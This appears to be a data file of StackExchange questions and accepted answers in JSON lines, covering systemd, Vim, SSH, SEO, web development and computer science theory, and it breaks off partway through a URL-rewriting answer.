{  "id": "_webmaster.8093"  , "question": "I uploaded a tif image into SharePoint Designer but it will not display on the web page.  Does it have to be jpeg? I have uploaded jpeg images and they work fine but I erased a background on an image and saved it as a tif.Thanks"  , "title": "Does SharePoint Designer only use jpeg images and not tif images?"  , "tags": "website design"  } 
{  "id": "_cseducators.2730"  , "question": "I have a class undergraduate students (2nd and 3rd year) who have had at least two terms of college/university level programming courses using a procedural programming language (typically C++), and often a term or two in other languages, also procedural. They have usually, though not a requirement, taken programming in high school, which was also based on one or another of the procedural languages. In the other computer classes they might have taken, or be taking concurrently, they have a procedural language as a secondary exposure. For example, the web design classes use JavaScript and PHP extensively. Bottom line is that these students are well versed (indoctrinated) in the imperative paradigm.Now I have to teach them functional programming, and help them to adjust to a new way of thinking about the problems and solutions. In other words, I want them to be able to write a Scheme program, not a C++ program translated into Scheme.So then, the question here is this: in the switch from procedural to functional programming, what are the critical habits to change in the students' minds so that they are able to grasp the functional paradigm enough to get them programming in the new language rather than writing old programs in the new style?"  , "title": "What 'procedural' habits to break when teaching 'functional' programming?"  , "tags": "functional programming;programming paradigms;imperative programming;scheme"  , "accepted_answer": "I undertook this study myself about a year ago. I started working through the Programming Languages MOOCs on Coursera (Part A Part B Part C), which are based on a UW course of the same name.I didn't really know what I was getting into, but it sounded interesting. Before I knew it, I was learning a radically different approach to programming first with SML and now with Racket (Ruby is up next). Here are some of the key ideas that were a major departure from my having programmed in C and Python:Avoid mutation. Over and over again the professor emphasizes why mutation is a bad thing (or at least potentially problematic). From the world of C where I learned about declaring and updating variables almost immediately, this forced me to think differently about the information my programs contained and processed.Don't call them variables. As a continuation of the above, they aren't variables (because after all they shouldn't vary because they don't mutate); rather, call them value bindings. Moreover, these value bindings exist in an environment. This latter idea is essential (and has only recently sunk in) for understanding function closures.Think recursively. Of the 3+ assignments I've completed for Part A and Part B, thinking recursively has been an essential component for creating elegant, efficient solutions. Indeed, in some cases it's been the only way to solve a problem thanks to the goal of avoiding mutation. This is not to say that recursion doesn't exist in other languages (because it obviously does), but it's been a more fundamental element to the design of solutions using functional programming languages.Those are my big three; I'm sure there are more. Obviously understanding anonymous functions, higher-order functions, first-class functions, and all that comes with them (e.g. currying) is what functional programming entails. However, this content wasn't a rewiring of old habits in the same way that the above points were.For what it's worth, I appreciate what C has taught me about what happens on a lower level, but I think studying a functional language qua an approach to programming has made me an overall better programmer."  } 
{  "id": "_datascience.12811"  , "question": "Can not find any example in Python for training XOR function using SHOGUN library.By otherwise, is there any other easy example for feedforward neuralnetwork training with Shogun for Python?"  , "title": "How to train ANN with Python using SHOGUN Libs?"  , "tags": "python;neural network;training"  } 
{  "id": "_unix.2126"  , "question": "I notice a weird (well, according to me) thing about passwords. For example, if I type an incorrect password during login, there will be a few seconds' delay before the system tells me so. When I try to sudo with a wrong password I would also have to wait before the shell says Sorry, try again.I wonder why it takes so long to recognize an incorrect password? This has been seen on several distributions I use (and even OSX), so I think it's not a distribution specific thing."  , "title": "Why is there a big delay after entering a wrong password?"  , "tags": "security;password;authentication;pam"  , "accepted_answer": "This is a security thing, it's not actually taking long to realize it. 2 vulnerabilities this solves:this throttles login attempts, meaning someone can't pound the system as fast as it can go trying to crack it (1M attempts a sec? I don't know).If it did it as soon as it verified your credentials were incorrect, you could use the amount of time it took for it to invalidate your credentials to help guess if part of your credentials were correct, dramatically reducing the guessing time.to prevent these 2 things the system just takes a certain amount of time to do it, I think you can configure the wait time with PAM ( See Michaels answer ).Security Engineering ( 2ed, amazon | 1ed, free ) gives a much better explanation of these problems."  } 
{  "id": "_unix.360424"  , "question": "I have a user that is used to run my server. Ideally, it would only have write access to the server's log files, and only have read access to the document-root. How would I do this on FreeBSD 11?"  , "title": "How to Only Allow Users Access to Specific Files?"  , "tags": "permissions;freebsd;webserver"  } 
{  "id": "_cs.56469"  , "question": "From the Cormen book I was studying the chapter focused on the red black tree. I was particularly interested in why the procedures for insert/delete fixup works (namely a formal proof).I report both the algorithms, taken from the book:The book gives a generic explanation of why they works, but doesn't give any formal proof. Could you suggest me how to prove the result, or could where I find the proof? For example if I focus on the insert, I would look at the node $z$ and I would assume by induction that one subtree has black height $h-1$ while the other has black height $h$, then I would show that after an iteration both subtree have black height $h$. I would try something similar for the delete procedure.I'm not entirely sure that this is the best way to prove the correctness, and I can't actually find a formal proof of the result.(The main reason is actually that every time I read the book and specifically such chapter I just try to memorize the procedures. Since this kind of tree implementation is quite common I think is time I understand why it works."  , "title": "Red black tree - Insert/Delete proof of correctness"  , "tags": "binary trees;search trees"  } 
{  "id": "_unix.361216"  , "question": "I have to units that I want to run one after the other with the help of systemd:A mount unit mnt-data.mount[Unit]Description=nfs mount scriptAfter=network-online.target[Mount]What=some_ip:/media/dataWhere=/mnt/dataOptions=hard,async,intr,fscType=nfs[Install]WantedBy=multi-user.targetAnd some code to execute after the mount is done with my-unit.service:[Unit]Description=Do some Cool stuffDocumentation=Read the code !Requires=mnt-data.mountAfter=mnt-data.mount[Service]Type=oneshotExecStart=/usr/local/sbin/some_script[Install]WantedBy=default.targetThe code is executed, but I get the following error in syslog:systemd[1]: [/etc/systemd/system/my-unit.service:5] Failed to add dependency on mnt-data.mount, ignoring: Invalid argumentI am worry that my-unit.service could be executed before mt-data.mount is finished. What is wrong with those two!I also get the following logs from journalctl and systemctl:$ systemctl status my-unit.service  my-unit.service - Do some Cool stuffLoaded: loaded (/etc/systemd/system/my-unit.service; enabled; vendor preset: enabled)Active: inactive (dead) since Wed 2017-04-26 10:56:16 EDT; 1 day 11h agoProcess: 831 ExecStart=/usr/local/sbin/some_script (code=exited, status=0/SUCCESS)Main PID: 831 (code=exited, status=0/SUCCESS)Apr 26 10:56:16 sapin systemd[1]: Starting Do some Cool stuff...Apr 26 10:56:16 sapin some_script[831]: dataApr 26 10:56:16 sapin some_script[831]: testingApr 26 10:56:16 sapin systemd[1]: Started Do some Cool stuff.and$ journalctl -u my-unit.service -- Logs begin at Wed 2017-04-26 10:56:15 EDT, end at Thu 2017-04-27 22:17:01 EDT. --Apr 26 10:56:16 sapin systemd[1]: Starting Do some Cool stuff...Apr 26 10:56:16 sapin some_script[831]: dataApr 26 10:56:16 sapin some_script[831]: testing Apr 26 10:56:16 sapin systemd[1]: Started Do some Cool stuff"  , "title": "systemd Failed to add dependency on my-point.mount"  , "tags": "systemd;systemd mount"  } 
{  "id": "_unix.217595"  , "question": "In sys-v-init, to query a service's status you can use the service command and do a service $NAME_OF_SERVICE status. In systemd, how do you query a service's status?"  , "title": "systemd: How do you query a service's status?"  , "tags": "systemd;services"  , "accepted_answer": "To query the status of a service in systemd you can do:systemctl status $NAME_OF_SERVICE"  } 
{  "id": "_codereview.40230"  , "question": "I have two functions to count the number of set '1' bits in the first offset bits of either a 64 bit number, or a bitmap struct.After some profiling, particularly the latter is quite a bottleneck in our system.What can we do to make it faster?#define POPCOUNT16(x) __builtin_popcount(x)#define POPCOUNT64(x) __builtin_popcountl(x)static __always_inline __constant int32 count64(int64 const bitmap, int32 const offset) {    return offset == 0 ? 0 : POPCOUNT64(bitmap & (0xffffffffffffffffUL << (64 - offset)));}typedef struct {    int64 hi;    int16 lo;} __packed int80;static __always_inline __constant int32 countBitmap(int80 const bitmap, int32 const offset) {    int32 count = 0;    if (offset > 0) {        count += POPCOUNT64(bitmap.hi & (0xffffffffffffffffUL << (sizeof (bitmap.hi)*8 - MIN(offset, sizeof (bitmap.hi)*8))));        if (offset > sizeof (bitmap.hi)*8)            count += POPCOUNT16(bitmap.lo & ((int16)0xffff << (sizeof (bitmap.hi)*8+sizeof (bitmap.lo)*8 - offset)));    }    return count;}"  , "title": "Efficiently counting '1' bits in the first n bits"  , "tags": "optimization;c;performance;bitwise"  } 
{  "id": "_webmaster.88635"  , "question": "I know there are similar questions. But they either was not what I was looking for OR I did not understand them fully, therefore I am asking here.My situationAt the moment I am using rel prev and rel next as pagination.<link rel=prev href=http://www.example.com/category/blablabla/page/2 /><link rel=next href=http://www.example.com/category/blablabla/page/4 />I currently also add a canonical link which refers to the first page, i.e:<link href=http://www.example.com/category/blablabla rel=canonical>The problemThe thing is that the first page only has 20 items (as all other pages).With this canonical link only to the first page get indexed by Google.I would like all the pages to get indexed, because important content get lost in those pages.Should I just change the canonical link to the current URL? i.e the current page, in this case:<link href=http://www.example.com/category/blablabla/page/3 rel=canonical>Or should I do something else, if yes then what?"  , "title": "Should I use a canonical link which refers to the current URL in a pagination?"  , "tags": "seo;indexing;google index;canonical url;pagination"  , "accepted_answer": "you shouldn't set your canonical to the first, but to the current page, like big G said."  } 
{  "id": "_cstheory.3230"  , "question": "Counting the number of perfect matchings in a bipartite graph is immediately reducible to computing the permanent.  Since finding a perfect matching in a non-bipartite graph is in NP, there exists some reduction from non-bipartite graphs to the permanent, but it may involve a nasty polynomial blowup by using Cook's reduction to SAT and then Valiant's theorem to reduce to the permanent.An efficient and natural reduction $f$ from a non-bipartite graph $G$ to a matrix $A = f(G)$ where $\\operatorname{perm}(A) = \\Phi(G)$ would be useful for an actual implementation to count perfect matchings by using existing, heavily-optimized libraries that compute the permanent. Updated: I added a bounty for an answer including an efficiently-computable function to take an arbitrary graph $G$ to a bipartite graph $H$ with the same number of perfect matchings and no more than $O(n^2)$ vertices."  , "title": "Is there a direct/natural reduction to count non-bipartite perfect matchings using the permanent?"  , "tags": "graph theory;counting complexity;reductions;permanent"  , "accepted_answer": "I would say that a simple reduction to bipartite matching is highly unlikely. Firstly, it would give an algorithm for finding a perfect matching in a general graph using the Hungarian method. Hence, the reduction should contain all the complexity of the Edmond's blossom algorithm. Secondly, it will give a compact LP for perfect matching polytope and hence the reduction should not be symmetric (which are ruled out by a result of Yannakakis) and inherently very complicated. "  } 
{  "id": "_unix.277624"  , "question": "I need to have a PHP file execute whenever the httpd service starts or restarts. I found that Systemd has a configuration setting called **ExecStartPost, which looks perfect for what I need to do.I updated the /etc/systemd/system/multi-user.target.wants/httpd.service file to reflect the following:[Unit]Description=The Apache HTTP ServerAfter=network.target remote-fs.target nss-lookup.targetDocumentation=man:httpd(8)Documentation=man:apachectl(8)[Service]Type=notifyEnvironmentFile=/etc/sysconfig/httpdExecStart=/usr/sbin/httpd $OPTIONS -DFOREGROUNDExecStartPost=/bin/php /usr/sbin/php_testExecReload=/usr/sbin/httpd $OPTIONS -k gracefulExecStop=/bin/kill -WINCH ${MAINPID}# We want systemd to give httpd some time to finish gracefully, but still want# it to kill httpd after TimeoutStopSec if something went wrong during the# graceful stop. Normally, Systemd sends SIGTERM signal right after the# ExecStop, which would kill httpd. We are sending useless SIGCONT here to give# httpd time to finish.KillSignal=SIGCONTPrivateTmp=true[Install]WantedBy=multi-user.targetThe content of /usr/sbin/php_test is:#!/bin/php<?phpecho Writing to /tmp/php-test.txt...\\n;$myfile = fopen(/tmp/php-test.txt, w) or die(Unable to open file!);$txt = TEST!  . date(F j, Y, g:i a) . PHP_EOL;fwrite($myfile, $txt);fclose($myfile);echo Done!!\\n;?>Then I chmod 777 the php file and reloaded the daemon files via systemctl daemon-reload. But when I restart httpd, it doesn't create the /tmp/php-test.txt file that I was expecting to see. If I execute /bin/php /usr/sbin/php_test via the command line, it works perfectly fine.I found a separate StackOverflow thread stating that Systemd reads the .service files from bottom to top, so I moved the ExecStartPost line to right above the ExecStart line, reloaded the daemon files and restarted apache again, with no success...What am I doing wrong here?Thanks!Update 1I changed the httpd.service file to the following:[Unit]Description=The Apache HTTP ServerAfter=network.target remote-fs.target nss-lookup.targetDocumentation=man:httpd(8)Documentation=man:apachectl(8)[Service]Type=notifyEnvironmentFile=/etc/sysconfig/httpdExecStart=/usr/sbin/httpd $OPTIONS -DFOREGROUNDExecStartPost=/bin/bash -c /bin/php -f /tmp/php_testExecReload=/usr/sbin/httpd $OPTIONS -k gracefulExecStop=/bin/kill -WINCH ${MAINPID}# We want systemd to give httpd some time to finish gracefully, but still want# it to kill httpd after TimeoutStopSec if something went wrong during the# graceful stop. Normally, Systemd sends SIGTERM signal right after the# ExecStop, which would kill httpd. We are sending useless SIGCONT here to give# httpd time to finish.KillSignal=SIGCONTPrivateTmp=true[Install]WantedBy=multi-user.targetAnd now I get an error (at least that's something to go on!). When I review the logs via journalctl -xe, I see the following:Apr 19 12:47:46 silo-stg-a01.cymedica.com systemd[1]: Starting The Apache HTTP Server...-- Subject: Unit httpd.service has begun start-up-- Defined-By: systemd-- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel---- Unit httpd.service has begun starting up.Apr 19 12:47:46 silo-stg-a01.cymedica.com bash[13268]: Could not open input file: /tmp/php_testApr 19 12:47:46 silo-stg-a01.cymedica.com systemd[1]: httpd.service: control process exited, code=exited status=1Apr 19 12:47:47 silo-stg-a01.cymedica.com systemd[1]: Failed to start The Apache HTTP Server.-- Subject: Unit httpd.service has failed-- Defined-By: systemd-- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel---- Unit httpd.service has failed.---- The result is failed.Apr 19 12:47:47 silo-stg-a01.cymedica.com systemd[1]: Unit httpd.service entered failed state.Apr 19 12:47:47 silo-stg-a01.cymedica.com systemd[1]: httpd.service failed.The error is Could not open input file: /tmp/php_test.. Not sure what that means yet though.And I'm aware that prefixing the command with a hyphen would let the process move on even if the PHP file fails to execute, but that's not what I'm trying to fix. I need the PHP script to execute properly.FYI, if you're wondering why I have it execute     /bin/bash -c /bin/php -f /tmp/php_testand not just    /bin/php -f /tmp/php_testI was just playing around with trying to have it execute the php script from a bash command. But if I change it to just /bin/php -f /tmp/php_test, I get the exact same error in journalctlUpdate 2I notice that if I replace the ExecStartPost line with the PHP command with just:ExecStartPost=/bin/logger ExecStartPost 1(which goes just after the ExecStart line), it logs ExecStartPost 1 to the logs just fine... So I think its related to how the php file itself is executed"  , "title": "Configuring Systemd to execute extra script after httpd start/restart using ExecStartPost setting not working"  , "tags": "centos;systemd;init script;apache httpd"  , "accepted_answer": "You have in your unit file:PrivateTmp=trueThis means systemd will create a separate namespace for the unit's /tmp and /var/tmp directories. Remove the line to use the usual /tmp."  } 
{  "id": "_unix.374965"  , "question": "I am trying to compile the HDF-EOS5 augmentation tool. However, when I run:./configure --with-hdfeos5=/HDF-EOS5-path/I get the error:checking for inv_init in -lGctp... noconfigure: error: invalid Gctp in hdfeos5When I try to check the config.log files, I get:configure:3571: $? = 0configure:3580: result: yesconfigure:3608: checking for compress2 in -lzconfigure:3633: gcc -o conftest -g -O2   conftest.c -lz  -lm  >&5configure:3633: $? = 0configure:3642: result: yesconfigure:4325: checking for inv_init in -lGctpconfigure:4350: gcc -o conftest -g -O2  -I/home/midawn/ClimateResearch/hdfeos5//include  -L/home/midawn/ClimateResearch/hdfeos5//lib conftest.c -lGctp  -lz -lm  >&5/usr/bin/ld: cannot find -lGctp collect2: error: ld returned 1 exit statusconfigure:4350: $? = 1configure: failed program was:| /* confdefs.h */| #define PACKAGE_NAME aug_eos5| #define PACKAGE_TARNAME aug_eos5| #define PACKAGE_VERSION 2.2| #define PACKAGE_STRING aug_eos5 2.2| #define PACKAGE_BUGREPORT help@hdfgroup.org| #define PACKAGE_URL | #define PACKAGE aug_eos5| #define VERSION 2.2| #define HAVE_LIBM 1| #define HAVE_LIBZ 1| /* end confdefs.h.  */| | /* Override any GCC internal prototype to avoid an error.|    Use char because int might match the return type of a GCC|    builtin and then its argument prototype would still apply.  */| #ifdef __cplusplus| extern C| #endif| char inv_init ();| int| main ()| {| return inv_init ();|   ;|   return 0;| }      configure:4359: result: noconfigure:4369: error: invalid Gctp in hdfeos5"  , "title": "Error with installation of HDF-EOS5 augmentation tool: Cannot find -lGtcp"  , "tags": "gcc"  } 
{  "id": "_unix.17310"  , "question": "I use this command to fill out a form in Drupal 6 (create node):curl -b cookies.txt -d title=thetitle&menu%5Blink_title%5D=&menu%5Bparent%5D=primary-links%3A0&menu%5Bweight%5D=0&teaser_include=1&body=content+here&format=1&changed=&form_build_id=form-01fbf44be3dab1ea177d17544bce415c&form_token=f1af1b01946065a34e49fdbde8fcc64b&form_id=story_node_form&log=&comment=2&pathauto_perform_alias=1&field_pidio%5B0%5D%5Bembed%5D=&name=admin&date=&status=1&promote=1&op=Save http://localhost/subdo/node/add/storyIt works without any problem; no messages in the terminal and the node is created in Drupal as expected.After a while, I use that code again without any modification. But instead of posting a new node, the terminal shows the HTML code of the form. It looks like cURL isn't hitting the Save button."  , "title": "submitting form with cURL sometimes works, sometimes doesn't"  , "tags": "curl"  } 
{  "id": "_softwareengineering.215263"  , "question": "I have a design problem related to a public interface, the names of methods, and the understanding of my API and code.I have two classes like this:class A:    ...    function collision(self):        .......class B:    ....    function _collision(self, another_object, l, r, t, b):        ....The first class has one public method named collision, and the second has one private method called _collision. The two methods differs in argument type and number.As an example let's say that _collision checks if the object is colliding with another object with certain conditions l, r, t, b (collide on the left side, right side, etc) and returns true or false. The public collision method, on the other hand, resolves all the collisions of the object with other objects.The two methods have the same name because I think it's better to avoid overloading the design with different names for methods that do almost the same thing, but in distinct contexts and classes.Is this clear enough to the reader or I should change the method's name?"  , "title": "How bad is it to have two methods with the same name but different signatures in two classes?"  , "tags": "design patterns;software;class design;design;class diagram"  } 
{  "id": "_cstheory.19405"  , "question": "The subgraph isomorphism problem problem is to determine given $G$ and $H$ whether $G$ is a subgraph of $H$.Let $G$ and $H$ be regular graphs with degree of $H$ greater than degree of $G$.Does the subgraph isomorphism problem remain NP-complete for the following case:$1.$ Girth of $G$ and $H$ are fixed, say $girth=3$ or a fixed $h$?How large should a fixed $k$-diameter $d_H$-regular graph $H$ be for it to have a fixed $k$-diameter $d_G$-regular subgraph $G$ of vertex count $n_G$ when both have the same girth?"  , "title": "On the subgraph isomorphism problem"  , "tags": "graph theory;graph isomorphism"  } 
{  "id": "_cs.65099"  , "question": "I'm currently working through some regular expression questions and I've got a solution for one of the problems that I'm not certain is correct. The question has this preface.We only consider languages over the alphabet $\\{0, 1, 2\\}$. We also view words over this alphabet as ternary numbers. For the language below give either a regular expression that describes it or a proof that the language is not regular. Note that e.g. the set of integers $\\{4, 7, 11\\}$ (in decimal notation) becomes in this view the language $\\{11, 21,102\\}$.The question - The set of all words that contain more 1s than 2s.Would the regular expression (11)2 suffice for this? "  , "title": "The set of all words containing more 1's than 2s"  , "tags": "formal languages;regular languages;regular expressions"  , "accepted_answer": "No. The regular expression $(11)2$ describes the language $\\{ 112 \\}$, which is clearly not the language of all strings with this property.Hint: Can you really count character occurrences using the regular operators?"  } 
{  "id": "_webapps.42870"  , "question": "I am running out of storage in my gmail account. However, I have 5GB of free space on my Google Drive. Is there a way I can store some of my emails (not only their attachments, but the complete email) in my Google Drive?Another viable solution would be do add the storage that I have on my Google Drive to the one on my Gmail account. Is this possible?"  , "title": "Adding my free Google Drive storage to my Gmail storage"  , "tags": "gmail;google drive;online storage"  } 
{  "id": "_unix.360279"  , "question": "During boot, my system displays this message.Loading, please wait...  One or more specified logical volume(s) not found.Unable to find LVM volume vg_ssd/swapScanning for Btrfs filesystems[...]Then, it finishes booting.It's trying to mount a logical volume that used to exist, before I removed it. vg_ssd/swap is not in /etc/fstab anymore, so why is it trying to mount it?Edit: I found a file in my initial ramdisk with /dev/mapper/vg_ssd-swap in it. Regenerating initramfs doesn't make it go away.$ mkdir bootimg; cd bootimg$ zcat /boot/initrd.img-3.16.0-4-amd64 | cpio -i$ cat conf/conf.d/resumeRESUME=/dev/mapper/vg_ssd-swap"  , "title": "Boot process tries to mount nonexistent logical volume"  , "tags": "debian;lvm"  , "accepted_answer": "initrd is trying to check whether the computer is resuming from hibernate. Even though swap is not in /etc/fstab, it's still in the config file /etc/initramfs-tools/conf.d/resume.Edit that file, and comment out the only line. ChangeRESUME=/dev/mapper/vg_name-lv_nameto#RESUME=/dev/mapper/vg_name-lv_nameRegenerate initrd. Run:update-initramfs -uupdate-grubSee also: Debian error message: Unable to find LVM volume, but then boots successfully and https://askubuntu.com/questions/292878/how-to-set-swap-in-etc-initramfs-tools-conf-d-resume-if-i-have-two-swap-partito"  } 
{  "id": "_vi.7481"  , "question": "I am root on the machine, and have my .vimrc at /root/.vimrc.  Vim ignores this, even though # echo $HOME/rootIf I do# vim -u /root/.vimrc some-file-to-editvim still ignores it.  Setting export MYVIMRC=root/.vimrc has no effect.Vim sources my file without problems if I start vim and type :source /root/.vimrc.Note VIMINIT is unset.What could be preventing vim from sourcing my .vimrc when starting up?I'm happy to supply any other information that may be helpful, just let me know what.EDIT 1: excerpt from running vim -V filename:...finished sourcing $VIM/vimrcchdir(/root)fchdir() to previous dir sourcing $HOME/.vimrcSearching for filetype.vim in /root/.vim,/var/lib/vim/addons,/usr/share/vim/vimfiles,/usr/share/vim/vim74,/usr/share/vim/vimfiles/after,/var/lib/vim/addons/after,/root/.vim/afterSearching for /root/.vim/filetype.vim...The full output is long, so this is just an excerpt to show the line that verifies sourcing of /root/.vimrc.EDIT 2: output from running :scriptnames after vim normally*  1: /usr/share/vim/vimrc  2: /usr/share/vim/vim74/debian.vim  3: /usr/share/vim/vim74/syntax/syntax.vim  4: /usr/share/vim/vim74/syntax/synload.vim  5: /usr/share/vim/vim74/syntax/syncolor.vim  6: /usr/share/vim/vim74/filetype.vim  7: ~/.vimrc  8: /usr/share/vim/vim74/indent.vim  9: /usr/share/vim/vim74/ftplugin.vim 10: /usr/share/vim/vim74/syntax/nosyntax.vim 11: /usr/share/vim/vim74/plugin/getscriptPlugin.vim 12: /usr/share/vim/vim74/plugin/gzip.vim 13: /usr/share/vim/vim74/plugin/matchparen.vim 14: /usr/share/vim/vim74/plugin/netrwPlugin.vim 15: /usr/share/vim/vim74/plugin/rrhelper.vim 16: /usr/share/vim/vim74/plugin/spellfile.vim 17: /usr/share/vim/vim74/plugin/tarPlugin.vim 18: /usr/share/vim/vim74/plugin/tohtml.vim 19: /usr/share/vim/vim74/plugin/vimballPlugin.vim 20: /usr/share/vim/vim74/plugin/zipPlugin.vim 21: /usr/share/vim/vim74/indent/python.vim 22: /usr/share/vim/vim74/ftplugin/python.vim 23: /usr/share/vim/vim74/syntax/python.vimAgain, seems to be sourcing /root/.vimrc (item 7).  Soo... line 8 makes me suspicious: my problem is that the indent settings in my vimrc aren't reflected.  Maybe they are being superceeded...EDIT 3: Placing my file in ~/.vim/after/...Moving my file to the following locations had no effect on the output of scriptnames:~/.vim/after/indent.vim~/.vim/after/indent.vim/myscript.vim~/.vim/after/indent/myscript.vim ~/.vim/after/syntax/myscript.vim~/.vim/after/indent/myscript.vim~/.vim/after/myscript.vimAnd, while moving my to ~/.vim/after/plugin/.vimrc did change the output of :scriptnames, causing my file to be sourced after item 20 (see above), it seems my indent settings are still getting overridden (probably by item 21).Use of the after directory doesn't work how I imagined (see my list of attempts).  Only after/plugins/ seems to be considered.Is there a way to ensure that the file is sourced after everything?"  , "title": "Why won't vim source my vimrc?"  , "tags": "vimrc;invocation"  , "accepted_answer": "Here is what worked for me:First opening vim normally and doing :scriptnames showed that, in fact, my ~/.vimrc was sourced.  Other scripts were just overridding my indent settings.Moving just the lines pertaining to indentation from my ~/.vimrc into a new file at ~/.vim/after/ftplugin/python.vim solved the problem.  The filename is crucial, and it is only executed when reading python files.  Alternatively put the file in ~/.vim/after/ftplugin/python/some-name.vim."  } 
{  "id": "_webapps.76649"  , "question": "My primary email address is going to be invalid soon. So I want to change my email address for my Google account. However, it seems that I can't change my email address and I can't even add a new email address.This is what it looks like:"  , "title": "Change or add email address to Google account"  , "tags": "google;email"  } 
{  "id": "_unix.223276"  , "question": "So ssh has the option HostKeyAlgorithms.  Sample usage:ssh -o HostKeyAlgorithms ssh-rsa user@hostnameI'm trying to get the client to connect using the servers ecdsa key, but I can't find what the correct string is for that.What command can I use to get a list of the available HostKeyAlgorithms?"  , "title": "How do I list available host key algorithms for an SSH client?"  , "tags": "ssh;openssh"  , "accepted_answer": "from the ssh_config man page:HostKeyAlgorithms             Specifies the protocol version 2 host key algorithms that the client wants to use in order of preference.  The default for this option is:                ecdsa-sha2-nistp256-cert-v01@openssh.com,                ecdsa-sha2-nistp384-cert-v01@openssh.com,                ecdsa-sha2-nistp521-cert-v01@openssh.com,                ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,                ssh-rsa-cert-v00@openssh.com,ssh-dss-cert-v00@openssh.com,                ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,                ssh-rsa,ssh-dss             If hostkeys are known for the destination host then this default is modified to prefer their algorithms."  } 
{  "id": "_softwareengineering.232436"  , "question": "I am learning how to work with XMLHttpRequests. I know that request.setRequestHeader() is an important factor. I just don't understand why. It took me a while but I have at least found a list of Headers here and here, but I still don't understand what each one of them does, and what value goes with each. Is there a resource that gives an example and explains what they are for? "  , "title": "How to use specific Request Header"  , "tags": "headers;http request;xmlhttprequest"  , "accepted_answer": "A quick search found: http://code.tutsplus.com/tutorials/http-headers-for-dummies--net-8039(no offense from the title; it looked like a pretty thorough article) Skip down to HTTP Headers in HTTP RequestsJust eyeballing the list, the most important headers are for content negotiation:Content-Type Most servers will need this to parse & route your request to the right function:Content-Type: application/jsonAccept Tells the server what it can send backAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Authorization In my work, I usually have to provide an authorization key. But the server will tell you whether you need this or not.Authorization: Bearer aasdadadadadadsasdThe other ones are either optional, or get added by the browser. You can open the dev console in your browser and look at the network messages going back and forth & do a search on individual headers to see what they mean."  } 
{  "id": "_cs.54239"  , "question": "During an interview I was asked to calculate the big theta complexity for the following algorithm that receives 3 sorted arrays of variable size and returns a new array which has the elements of the original 3 arrays.The algorithm is pretty basic: we set indexes at the beginning of each array and use such indexes for accessing the elements, in that fashion  we find the minimum element for the 3 arrays (at the position given by the indexes) and then we insert the element into the resulting array and we increase such index. We repeat until we are done processing every element.My answer was that the complexity was linear because we are processing n elements and we are doing a constant number of comparisions for finding the minimum element out of the 3 arrays (at the given index position). Yet, I was told that the complexity is not linear but it is higher than nlogn.I have a few ideas but could someone explain  the actual complexity of this algorithm for me?Thanks for your time."  , "title": "Complexity for merging 3 sorted arrays using this specific algorithtm"  , "tags": "complexity theory;runtime analysis"  , "accepted_answer": "Assuming that you're using some random-access model of computation (i.e., not an ordinary Turing machine) and that comparisons can be done in constant time, the algorithm you describe is linear. Each element of the final array is produced by comparing at most three elements of the original arrays, so each element of the output is produced in constant time.Perhaps you misunderstood the question and they were actually asking about something else? Perhaps they mis-stated their question and they were trying to ask about the complexity of three-way mergesort (sorting an array by splitting into three parts, recursively sorting the parts, then merging them)? Perhaps they were just wrong."  } 
{  "id": "_softwareengineering.330921"  , "question": "I am trying to build a very basic instant messaging platform. I have three basic immutable types, and each of them has a subclass for dealing with CRUD (for SRP purposes, separating the class from the database logic).Conversation:public class Conversation{    public uint Id { get; private set; }    public List<Participant> Participants { get; private set; }    public List<Message> Messages { get; private set; }    /* Some extra properties */            public Conversation(uint id, List<Participant> participants, List<Message> messages)    {        Id = id;        Participants = participants;        Messages = messages;    }    public static class CRUD    {       static void Create(...)  {}       static void Read(...)  {}       static void Update(...)  {}       static void Delete(...)  {}    }}Message:public class Message{    public uint Id { get; private set; }    public Conversation Conversation { get; private set; }    public Participant Sender { get; private set; }    public DateTime SendingTime { get; private set; }    public string Content { get; private set; }    /* Constructor */    /* CRUD */}Participant:public class Participant{    public Conversation Conversation { get; private set; }    public Employee Employee { get; private set; }    /* Constructor */    /* CRUD */}I thought Message.CRUD.Read(...) should get the messages from the database, and Participant.CRUD.Read(...) should get the participant from the database. But then What should Conversation.CRUD.Read(...) read and what should it return?I mean, should it get from the database all the information about the conversation that has no class representation in the code (i.e. not Message and Participant), and then, should it return a non-complete object of Conversation with some nulls or should it do something else? What is the best practice here? Is there any?"  , "title": "What should a Read (as in CRUD) method return for a class that uses another class with a Read method?"  , "tags": "c#;crud"  , "accepted_answer": "Your problem is that your Conversation class does not correspond to one record in the database. The Message class and the Participants classes do.If you do want to apply the same CRUD technique to conversations you should have a ConversationParticipant class (loading the list of participants from its table and the participant information via the Participant class) and ConversationMessage class (similarily loading via the Message class).Then the Conversation class could use these two classes to load the participants and the messages and it could load the main information on the Conversation itself."  } 
{  "id": "_webmaster.27180"  , "question": "I have recently put my site live - http://www.soundplaza.co.ukI then bumped into a few articles mentioning about page length and depth and I was wondering if I should change the URL structure while the site is new.Change From:http://www.soundplaza.co.uk/speakers/tannoy-revolution-signature-dc4t/10Change To:http://www.soundplaza.co.uk/speakers/tannoy-revolution-signature-dc4t-10As you can probably see I am using the ID at the end to bring the page content through.Do you think its worth removing the extra level, or do you think it will confuse the product name?"  , "title": "Removing page levels/ keeping url clean"  , "tags": "url;url rewriting;clean urls"  , "accepted_answer": "It looks like your current URL paths are of the form /category/redundant-descriptive-title/id, where only the category and id parts are actually needed to identify the content.  (For example, I can link to http://www.soundplaza.co.uk/speakers/blah-blah-who-reads-this-anyway/10 and see the exact same content as on the page you linked in your question.)I would suggest changing that structure to /category/id/redundant-descriptive-title, so that the descriptive part of the URL is the last one.  (If that looks familiar to you, it's the exact same URL structure as used by the StackExchange software.)That order has a natural hierarchical structure: the first part identifies the category, the second identifies the product in the category, and the third... doesn't actually identify anything in this case, since it's redundant to the first two, but conceptually it could narrow down the identification even further.I would also strongly suggest setting up either 301 redirects or rel=canonical links from URLs with incorrect (and/or outdated) descriptive parts to the correct canonical URLs for each product.  If you don't do that, any links with outdated or mistyped or just plain bogus titles, like the one I demonstrated above, may be seen by search engines as duplicate content.(Ps. Swapping the order of the URL path elements around like that might make dealing with legacy links a bit tricky, but I'd really consider that an excellent reason to do it ASAP rather than later.  As long as none of your existing URLs have all-numeric middle parts, something like the following rewrite rule ought to redirect them to the new format:RewriteRule 